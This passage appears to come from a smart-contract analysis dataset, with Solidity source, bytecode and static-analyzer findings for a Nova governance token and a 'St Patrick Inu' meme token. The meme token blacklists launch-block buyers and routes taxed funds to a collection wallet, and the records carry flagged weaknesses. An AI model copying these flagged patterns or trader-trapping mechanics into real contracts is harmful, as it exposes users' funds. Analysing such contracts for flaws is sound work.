392909216919091179055565b600082821115610c7457fe5b50900390565b600160a060020a0382161515610c8f57600080fd5b600160a060020a038316600090815260056020526040902054811115610cb457600080fd5b600160a060020a038216600090815260056020526040902054610cdd818363ffffffff610dee16565b1015610ce857600080fd5b600160a060020a03831660009081526009602052604090205460ff1615610d0e57600080fd5b600160a060020a03821660009081526009602052604090205460ff1615610d3457600080fd5b600160a060020a038316600090815260056020526040902054610d5d908263ffffffff610c6816565b600160a060020a038085166000908152600560205260408082209390935590841681522054610d92908263ffffffff610dee16565b600160a060020a0380841660008181526005602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600082820183811015610dfd57fe5b8091505b5092915050565b6000808284811515610e1657fe5b04949350505050565b600080831515610e325760009150610e01565b50828202828482811515610e4257fe5b0414610dfd57fe00a165627a7a72305820762acb6397ecbf2efb411f6539e85b4f819c4696ed1f9a1caed7d313eb4b2a8f0029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
6,988
0x614f74275E6646934A5820218D42f5F87A98C254
/** *Submitted for verification at Etherscan.io on 2021-08-26 */ pragma solidity 0.8.0; interface INovaDao { function initNova() external; } contract Nova { string public constant name = "NovaDao Token For GOV"; string public constant symbol = "Nova"; uint8 public constant decimals = 0; uint public totalSupply; address immutable public dao; // Allowance amounts on behalf of others mapping (address => mapping (address => uint96)) internal allowances; // Official record of token balances for each account mapping (address => uint96) internal balances; /// @notice A record of each accounts delegate mapping (address => address) public delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; bytes32 public immutable domainSeparator; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint256 amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint256 amount); constructor(address _dao) { dao = _dao; INovaDao(_dao).initNova(); domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), block.chainid, address(this))); } function mint(address account, uint96 amount) public { require(msg.sender == dao, "no permission"); _mint(account, amount); } function burn(address account, uint96 amount) public { require(msg.sender == dao, "no permission"); _burn(account, amount); } /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param rawAmount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint rawAmount) external returns (bool) { uint96 amount; if (rawAmount == type(uint).max) { amount = type(uint96).max; } else { amount = safe96(rawAmount, "Nova::approve: amount exceeds 96 bits"); } allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address account) external view returns (uint) { return balances[account]; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint rawAmount) external returns (bool) { uint96 amount = safe96(rawAmount, "Nova::transfer: amount exceeds 96 bits"); _transferTokens(msg.sender, dst, amount); return true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint rawAmount) external returns (bool) { address spender = msg.sender; uint96 spenderAllowance = allowances[src][spender]; uint96 amount = safe96(rawAmount, "Nova::approve: amount exceeds 96 bits"); if (spender != src && spenderAllowance != type(uint96).max) { uint96 newAllowance = spenderAllowance - amount; allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) public { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public { bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "Nova::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "Nova::delegateBySig: invalid nonce"); require(block.timestamp <= expiry, "Nova::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) public view returns (uint96) { require(blockNumber < block.number, "Nova::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint96 delegatorBalance = balances[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _transferTokens(address src, address dst, uint96 amount) internal { require(src != address(0), "Nova::_transferTokens: cannot transfer from the zero address"); require(dst != address(0), "Nova::_transferTokens: cannot transfer to the zero address"); balances[src] = balances[src] - amount; balances[dst] = balances[dst] + amount; emit Transfer(src, dst, amount); if(delegates[dst] == address(0)) { delegates[dst] = dst; } _moveDelegates(delegates[src], delegates[dst], amount); } function _mint(address account, uint96 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); if (amount == 0) { return ; } totalSupply = totalSupply + amount; balances[account] = balances[account] + amount; emit Transfer(address(0), account, amount); if(delegates[account] == address(0)) { delegates[account] = account; } _moveDelegates(address(0), delegates[account], amount); } function _burn(address account, uint96 amount) internal { require(account != address(0), "ERC20: to the zero address"); if (amount == 0) { return ; } require(totalSupply >= amount, "Sub Error"); totalSupply = totalSupply - amount; balances[account] = balances[account] - amount; emit Transfer(account, address(0), amount); _moveDelegates(delegates[account], address(0), amount); } function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = srcRepOld - amount; _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = dstRepOld + amount; _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal { uint32 blockNumber = safe32(block.number, "Nova::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } }
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c806370a08231116100c3578063b4b5ea571161007c578063b4b5ea57146102b9578063c3cda520146102cc578063dd62ed3e146102df578063e7a324dc146102f2578063f1127ed8146102fa578063f698da251461031b5761014d565b806370a0823114610245578063782d6fe1146102585780637ecebe00146102785780638df2c8e61461028b57806395d89b411461029e578063a9059cbb146102a65761014d565b806323b872dd1161011557806323b872dd146101c2578063313ce567146101d55780634162169f146101ea578063587cde1e146101ff5780635c19a95c146102125780636fcfff45146102255761014d565b806306fdde0314610152578063095ea7b31461017057806318160ddd146101905780631b025a40146101a557806320606b70146101ba575b600080fd5b61015a610323565b60405161016791906116e8565b60405180910390f35b61018361017e366004611568565b610354565b6040516101679190611692565b610198610418565b604051610167919061169d565b6101b86101b336600461162d565b61041e565b005b61019861047d565b6101836101d036600461152d565b6104a1565b6101dd6105cf565b60405161016791906119f2565b6101f26105d4565b604051610167919061167e565b6101f261020d3660046114e1565b6105f8565b6101b86102203660046114e1565b610613565b6102386102333660046114e1565b610620565b60405161016791906119c2565b6101986102533660046114e1565b610638565b61026b610266366004611568565b610660565b6040516101679190611a00565b6101986102863660046114e1565b6108a7565b6101b861029936600461162d565b6108b9565b61015a61090b565b6101836102b4366004611568565b61092b565b61026b6102c73660046114e1565b610967565b6101b86102da366004611591565b6109e5565b6101986102ed3660046114fb565b610b79565b610198610bad565b61030d6103083660046115ef565b610bd1565b6040516101679291906119d3565b610198610c06565b604051806040016040528060158152602001742737bb30a230b7902a37b5b2b7102337b91023a7ab60591b81525081565b60008060001983141561036f57506001600160601b03610394565b61039183604051806060016040528060258152602001611b8160259139610c2a565b90505b3360008181526001602090815260408083206001600160a01b03891680855292529182902080546001600160601b0319166001600160601b03861617905590519091907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610404908590611a00565b60405180910390a360019150505b92915050565b60005481565b336001600160a01b037f00000000000000000000000006d44f7530294de55f9f6990df4175ca0769050d161461046f5760405162461bcd60e51b81526004016104669061173b565b60405180910390fd5b6104798282610c59565b5050565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6001600160a01b03831660009081526001602090815260408083203380855290835281842054825160608101909352602580845291936001600160601b039091169285926104f99288929190611b8190830139610c2a565b9050866001600160a01b0316836001600160a01b03161415801561052657506001600160601b0382811614155b156105b75760006105378284611afb565b6001600160a01b038981166000818152600160209081526040808320948a16808452949091529081902080546001600160601b0319166001600160601b0386161790555192935090917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906105ad908590611a00565b60405180910390a3505b6105c2878783610db8565b5060019695505050505050565b600081565b7f00000000000000000000000006d44f7530294de55f9f6990df4175ca0769050d81565b6003602052600090815260409020546001600160a01b031681565b61061d3382610f6d565b50565b60056020526000908152604090205463ffffffff1681565b6001600160a01b0381166000908152600260205260409020546001600160601b03165b919050565b60004382106106815760405162461bcd60e51b8152600401610466906118c7565b6001600160a01b03831660009081526005602052604090205463ffffffff16806106af576000915050610412565b6001600160a01b038416600090815260046020526040812084916106d4600185611ad6565b63ffffffff90811682526020820192909252604001600020541611610747576001600160a01b038416600090815260046020526040812090610717600184611ad6565b63ffffffff168152602081019190915260400160002054600160201b90046001600160601b031691506104129050565b6001600160a01b038416600090815260046020908152604080832083805290915290205463ffffffff16831015610782576000915050610412565b600080610790600184611ad6565b90505b8163ffffffff168163ffffffff16111561086257600060026107b58484611ad6565b6107bf9190611a90565b6107c99083611ad6565b6001600160a01b038816600090815260046020908152604080832063ffffffff858116855290835292819020815180830190925254928316808252600160201b9093046001600160601b031691810191909152919250871415610836576020015194506104129350505050565b805163ffffffff1687111561084d5781935061085b565b610858600183611ad6565b92505b5050610793565b506001600160a01b038516600090815260046020908152604080832063ffffffff909416835292905220546001600160601b03600160201b9091041691505092915050565b60066020526000908152604090205481565b336001600160a01b037f00000000000000000000000006d44f7530294de55f9f6990df4175ca0769050d16146109015760405162461bcd60e51b81526004016104669061173b565b6104798282610ff7565b604051806040016040528060048152602001634e6f766160e01b81525081565b60008061095083604051806060016040528060268152602001611ba660269139610c2a565b905061095d338583610db8565b5060019392505050565b6001600160a01b03811660009081526005602052604081205463ffffffff16806109925760006109de565b6001600160a01b0383166000908152600460205260408120906109b6600184611ad6565b63ffffffff168152602081019190915260400160002054600160201b90046001600160601b03165b9392505050565b60007fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf878787604051602001610a1e94939291906116a6565b60405160208183030381529060405280519060200120905060007fbdbc9c0bb02c7b7b8b42e080c68aa9295c188194d78dc1cbc143e5ee97ffaef682604051602001610a6b929190611663565b604051602081830303815290604052805190602001209050600060018287878760405160008152602001604052604051610aa894939291906116ca565b6020604051602081039080840390855afa158015610aca573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610afd5760405162461bcd60e51b815260040161046690611881565b6001600160a01b0381166000908152600660205260408120805491610b2183611b1b565b919050558814610b435760405162461bcd60e51b815260040161046690611762565b86421115610b635760405162461bcd60e51b815260040161046690611945565b610b6d818a610f6d565b5050505b505050505050565b6001600160a01b0391821660009081526001602090815260408083209390941682529190915220546001600160601b031690565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b600460209081526000928352604080842090915290825290205463ffffffff811690600160201b90046001600160601b031682565b7fbdbc9c0bb02c7b7b8b42e080c68aa9295c188194d78dc1cbc143e5ee97ffaef681565b600081600160601b8410610c515760405162461bcd60e51b815260040161046691906116e8565b509192915050565b6001600160a01b038216610c7f5760405162461bcd60e51b81526004016104669061198b565b6001600160601b038116610c9257610479565b806001600160601b0316600054610ca99190611a2e565b60009081556001600160a01b038316815260026020526040902054610cd89082906001600160601b0316611a6e565b6001600160a01b03831660008181526002602052604080822080546001600160601b0319166001600160601b03959095169490941790935591519091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d42908590611a00565b60405180910390a36001600160a01b0382811660009081526003602052604090205416610d93576001600160a01b038216600081815260036020526040902080546001600160a01b03191690911790555b6001600160a01b03808316600090815260036020526040812054610479921683611132565b6001600160a01b038316610dde5760405162461bcd60e51b8152600401610466906117a4565b6001600160a01b038216610e045760405162461bcd60e51b815260040161046690611824565b6001600160a01b038316600090815260026020526040902054610e319082906001600160601b0316611afb565b6001600160a01b0384811660009081526002602052604080822080546001600160601b0319166001600160601b0395861617905591851681522054610e7891839116611a6e565b6001600160a01b038381166000818152600260205260409081902080546001600160601b0319166001600160601b0395909516949094179093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ee5908590611a00565b60405180910390a36001600160a01b0382811660009081526003602052604090205416610f36576001600160a01b038216600081815260036020526040902080546001600160a01b03191690911790555b6001600160a01b03808416600090815260036020526040808220548584168352912054610f6892918216911683611132565b505050565b6001600160a01b03808316600081815260036020818152604080842080546002845282862054949093528787166001600160a01b031984168117909155905191909516946001600160601b039092169391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a4610ff1828483611132565b50505050565b6001600160a01b03821661101d5760405162461bcd60e51b81526004016104669061190e565b6001600160601b03811661103057610479565b806001600160601b0316600054101561105b5760405162461bcd60e51b815260040161046690611801565b806001600160601b03166000546110729190611abf565b60009081556001600160a01b0383168152600260205260409020546110a19082906001600160601b0316611afb565b6001600160a01b03831660008181526002602052604080822080546001600160601b0319166001600160601b03959095169490941790935591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611108908590611a00565b60405180910390a36001600160a01b03808316600090815260036020526040812054610479921690835b816001600160a01b0316836001600160a01b03161415801561115d57506000816001600160601b0316115b15610f68576001600160a01b03831615611209576001600160a01b03831660009081526005602052604081205463ffffffff16908161119d5760006111e9565b6001600160a01b0385166000908152600460205260408120906111c1600185611ad6565b63ffffffff168152602081019190915260400160002054600160201b90046001600160601b03165b905060006111f78483611afb565b9050611205868484846112a8565b5050505b6001600160a01b03821615610f68576001600160a01b03821660009081526005602052604081205463ffffffff169081611244576000611290565b6001600160a01b038416600090815260046020526040812090611268600185611ad6565b63ffffffff168152602081019190915260400160002054600160201b90046001600160601b03165b9050600061129e8483611a6e565b9050610b71858484845b60006112cc43604051806060016040528060348152602001611b4d603491396114a3565b905060008463ffffffff1611801561132657506001600160a01b038516600090815260046020526040812063ffffffff83169161130a600188611ad6565b63ffffffff908116825260208201929092526040016000205416145b1561139a576001600160a01b03851660009081526004602052604081208391611350600188611ad6565b63ffffffff168152602081019190915260400160002080546001600160601b0392909216600160201b026fffffffffffffffffffffffff0000000019909216919091179055611459565b60408051808201825263ffffffff83811682526001600160601b0385811660208085019182526001600160a01b038b166000908152600482528681208b861682529091529490942092518354945163ffffffff199095169216919091176fffffffffffffffffffffffff000000001916600160201b9390911692909202919091179055611428846001611a46565b6001600160a01b0386166000908152600560205260409020805463ffffffff191663ffffffff929092169190911790555b846001600160a01b03167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051611494929190611a14565b60405180910390a25050505050565b600081600160201b8410610c515760405162461bcd60e51b815260040161046691906116e8565b80356001600160a01b038116811461065b57600080fd5b6000602082840312156114f2578081fd5b6109de826114ca565b6000806040838503121561150d578081fd5b611516836114ca565b9150611524602084016114ca565b90509250929050565b600080600060608486031215611541578081fd5b61154a846114ca565b9250611558602085016114ca565b9150604084013590509250925092565b6000806040838503121561157a578182fd5b611583836114ca565b946020939093013593505050565b60008060008060008060c087890312156115a9578182fd5b6115b2876114ca565b95506020870135945060408701359350606087013560ff811681146115d5578283fd5b9598949750929560808101359460a0909101359350915050565b60008060408385031215611601578182fd5b61160a836114ca565b9150602083013563ffffffff81168114611622578182fd5b809150509250929050565b6000806040838503121561163f578182fd5b611648836114ca565b915060208301356001600160601b0381168114611622578182fd5b61190160f01b81526002810192909252602282015260420190565b6001600160a01b0391909116815260200190565b901515815260200190565b90815260200190565b9384526001600160a01b039290921660208401526040830152606082015260800190565b93845260ff9290921660208401526040830152606082015260800190565b6000602080835283518082850152825b81811015611714578581018301518582016040015282016116f8565b818111156117255783604083870101525b50601f01601f1916929092016040019392505050565b6020808252600d908201526c3737903832b936b4b9b9b4b7b760991b604082015260600190565b60208082526022908201527f4e6f76613a3a64656c656761746542795369673a20696e76616c6964206e6f6e604082015261636560f01b606082015260800190565b6020808252603c908201527f4e6f76613a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260408201527f616e736665722066726f6d20746865207a65726f206164647265737300000000606082015260800190565b60208082526009908201526829bab11022b93937b960b91b604082015260600190565b6020808252603a908201527f4e6f76613a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260408201527f616e7366657220746f20746865207a65726f2061646472657373000000000000606082015260800190565b60208082526026908201527f4e6f76613a3a64656c656761746542795369673a20696e76616c6964207369676040820152656e617475726560d01b606082015260800190565b60208082526027908201527f4e6f76613a3a6765745072696f72566f7465733a206e6f742079657420646574604082015266195c9b5a5b995960ca1b606082015260800190565b6020808252601b908201527f45524332303a2020746f20746865207a65726f20616464726573730000000000604082015260600190565b60208082526026908201527f4e6f76613a3a64656c656761746542795369673a207369676e617475726520656040820152651e1c1a5c995960d21b606082015260800190565b6020808252601f908201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604082015260600190565b63ffffffff91909116815260200190565b63ffffffff9290921682526001600160601b0316602082015260400190565b60ff91909116815260200190565b6001600160601b0391909116815260200190565b6001600160601b0392831681529116602082015260400190565b60008219821115611a4157611a41611b36565b500190565b600063ffffffff808316818516808303821115611a6557611a65611b36565b01949350505050565b60006001600160601b03808316818516808303821115611a6557611a65611b36565b600063ffffffff80841680611ab357634e487b7160e01b83526012600452602483fd5b92169190910492915050565b600082821015611ad157611ad1611b36565b500390565b600063ffffffff83811690831681811015611af357611af3611b36565b039392505050565b60006001600160601b0383811690831681811015611af357611af3611b36565b6000600019821415611b2f57611b2f611b36565b5060010190565b634e487b7160e01b600052601160045260246000fdfe4e6f76613a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d626572206578636565647320333220626974734e6f76613a3a617070726f76653a20616d6f756e74206578636565647320393620626974734e6f76613a3a7472616e736665723a20616d6f756e7420657863656564732039362062697473a264697066735822122024e7e238f77aebfb86a9e150b6b1aed27304defb7369eeccbdcbec607e40d9a364736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
6,989
0x2d027b07ce27c946536e8752ea6f0bc62ff9e49e
/** *Submitted for verification at Etherscan.io on 2022-03-17 */ //SPDX-License-Identifier: UNLICENSED //https://t.me/stpatricksinu pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract STPATRICK is Context, IERC20, Ownable { mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; mapping (address => User) private cooldown; uint private constant _totalSupply = 1e10 * 10**9; string public constant name = unicode"St Patrick Inu"; string public constant symbol = unicode"STPATRICK"; uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _CollectionAddress; address public uniswapV2Pair; uint public _buyFee = 12; uint public _sellFee = 12; uint private _feeRate = 15; uint public _maxBuyAmount; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap = false; bool public _useImpactFeeSetter = false; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event TaxAddUpdated(address _taxwallet); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable TaxAdd) { _CollectionAddress = TaxAdd; _owned[address(this)] = _totalSupply; _isExcludedFromFee[TaxAdd] = true; _isExcludedFromFee[address(0xdead)] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[owner()] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(!_isBot[from] ); require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool isBuy = false; if(from != owner() && to != owner()) { if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen); if (block.timestamp == _launchedAt) _isBot[to] = true; require(amount <= _maxBuyAmount, "Exceeds maximum buy amount."); require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); if(!cooldown[to].exists) { cooldown[to] = User(0,true); } cooldown[to].buy = block.timestamp; isBuy = true; } if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { require(cooldown[from].buy < block.timestamp + (12 seconds)); uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } uint burnAmount = contractTokenBalance/3; contractTokenBalance -= burnAmount; burnToken(burnAmount); swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function burnToken(uint burnAmount) private lockTheSwap{ if(burnAmount > 0){ _transfer(address(this), address(0xdead),burnAmount); } } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _CollectionAddress.transfer(amount); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} function addLiquidity() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _tradingOpen = true; _launchedAt = block.timestamp; _maxBuyAmount = 200000000 * 10**9; _maxHeldTokens = 200000000 * 10**9; } function setMaxTxn(uint maxbuy, uint maxheld) external { require(_msgSender() == _CollectionAddress); require(maxbuy >= 200000000 * 10**9); require(maxheld >= 200000000 * 10**9); _maxBuyAmount = maxbuy; _maxHeldTokens = maxheld; } function manualswap() external { require(_msgSender() == _CollectionAddress); uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _CollectionAddress); uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function 